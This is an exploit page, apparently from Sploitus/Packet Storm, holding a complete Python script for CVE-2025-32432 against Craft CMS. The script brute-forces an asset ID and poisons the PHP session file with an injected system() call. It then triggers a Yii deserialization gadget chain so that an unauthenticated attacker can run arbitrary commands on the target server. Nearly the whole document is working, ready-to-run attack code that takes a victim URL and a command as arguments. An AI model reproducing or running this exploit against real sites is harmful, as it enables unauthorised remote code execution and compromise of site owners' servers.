Share
## https://sploitus.com/exploit?id=PACKETSTORM:220378
# Exploit Title: Craft CMS 5.6.16 - RCE
    # Google Dork: N/A
    # Date: 2026-01-24
    # Exploit Author: Mohammed Idrees Banyamer
    # Author Country: Jordan
    # Vendor Homepage: https://craftcms.com
    # Software Link: https://github.com/craftcms/cms
    # Version: <= 3.9.14, <= 4.14.14, <= 5.6.16
    # Tested on: Linux, Apache/Nginx, PHP 8.x
    # CVE: CVE-2025-32432
    #
    # Description:
    # Craft CMS contains a pre-authentication remote code execution vulnerability
    # in the assets/generate-transform endpoint. By abusing a Yii deserialization
    # gadget chain (FieldLayoutBehavior โ†’ PhpManager) and poisoning a PHP session
    # file, an unauthenticated attacker can achieve arbitrary command execution.
    #
    
    import requests
    import argparse
    import time
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    
    def find_asset_id(base_url, max_attempts=300):
        """
        Brute-force search for a valid Asset ID.
        This is optional and may be unreliable on some installations.
        """
        session = requests.Session()
        session.verify = False
    
        print("[*] Brute-forcing Asset ID (best-effort)...")
    
        for asset_id in range(1, max_attempts + 1):
            url = f"{base_url}/actions/assets/generate-transform"
            payload = {
                "assetId": asset_id,
                "handle": {
                    "width": 1,
                    "height": 1,
                    "as hack": {
                        "class": "craft\\behaviors\\FieldLayoutBehavior",
                        "__class": "yii\\rbac\\PhpManager",
                        "__construct()": [
                            {
                                "itemFile": "invalid"
                            }
                        ]
                    }
                }
            }
    
            try:
                r = session.post(url, json=payload, timeout=5)
                if r.status_code != 404:
                    print(f"[+] Potential valid Asset ID found: {asset_id} (HTTP {r.status_code})")
                    return asset_id
            except:
                continue
    
        print(f"[-] No valid Asset ID found after {max_attempts} attempts.")
        return None
    
    
    def implant_php(base_url, cmd):
        """
        Step 1: Poison the PHP session file with injected PHP code.
        This relies on old-style behavior where query parameters are written
        into the session file without sanitization.
        """
    
        injection = f"<?php system('{cmd}'); ?>"
        url = f"{base_url}/index.php?p=admin/dashboard&a={injection}"
    
        try:
            r = requests.get(url, verify=False, timeout=10)
            if r.status_code == 200:
                print(f"[+] Session poisoning request sent successfully")
                return True
            else:
                print(f"[-] Injection failed (HTTP {r.status_code})")
                return False
        except Exception as e:
            print(f"[-] Injection error: {e}")
            return False
    
    
    def execute_command(base_url, asset_id, session_id):
        """
        Step 2: Trigger deserialization and force PhpManager to include
        the poisoned session file from /tmp/sess_<PHPSESSID>.
        """
    
        url = f"{base_url}/actions/assets/generate-transform"
    
        payload = {
            "assetId": asset_id,
            "handle": {
                "width": 1,
                "height": 1,
                "as hack": {
                    "class": "craft\\behaviors\\FieldLayoutBehavior",
                    "__class": "yii\\rbac\\PhpManager",
                    "__construct()": [
                        {
                            "itemFile": f"/tmp/sess_{session_id}"
                        }
                    ]
                }
            }
        }
    
        try:
            r = requests.post(url, json=payload, verify=False, timeout=15)
            return r.text
        except Exception as e:
            return f"[-] Execution request failed: {e}"
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2025-32432 - Craft CMS Pre-Auth Remote Code Execution"
        )
        parser.add_argument("-u", "--url", required=True,
                            help="Target base URL (e.g. https://victim.com)")
        parser.add_argument("-c", "--cmd", required=True,
                            help="Command to execute (e.g. id, whoami)")
        parser.add_argument("-a", "--asset", type=int,
                            help="Known valid Asset ID (recommended)")
        parser.add_argument("-s", "--scan-max", type=int, default=300,
                            help="Max Asset ID brute-force range (optional)")
    
        args = parser.parse_args()
    
        base_url = args.url.rstrip('/')
        session = requests.Session()
        session.verify = False
    
        # Step 0: Obtain PHP session ID
        try:
            r = session.get(f"{base_url}/index.php", verify=False, timeout=10)
            session_id = session.cookies.get("PHPSESSID", None)
    
            if not session_id:
                print("[-] Failed to obtain PHPSESSID")
                return
    
            print(f"[+] Obtained PHPSESSID: {session_id}")
    
        except Exception as e:
            print(f"[-] Failed to establish session: {e}")
            return
    
        # Determine Asset ID
        asset_id = args.asset
        if not asset_id:
            asset_id = find_asset_id(base_url, args.scan_max)
            if not asset_id:
                print("[-] Exploitation aborted: no valid Asset ID found")
                return
    
        print(f"[+] Using Asset ID: {asset_id}")
    
        # Step 1: Poison session file
        if not implant_php(base_url, args.cmd):
            print("[-] Session poisoning failed")
            return
    
        print("[*] Waiting for session file to be written...")
        time.sleep(2)
    
        # Step 2: Trigger RCE
        print(f"[*] Triggering command execution: {args.cmd}")
        output = execute_command(base_url, asset_id, session_id)
    
        # Output handling
        print("\n[+] Server response:")
        print(output[:2000])
    
    
    if __name__ == "__main__":
        print("=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===")
        main()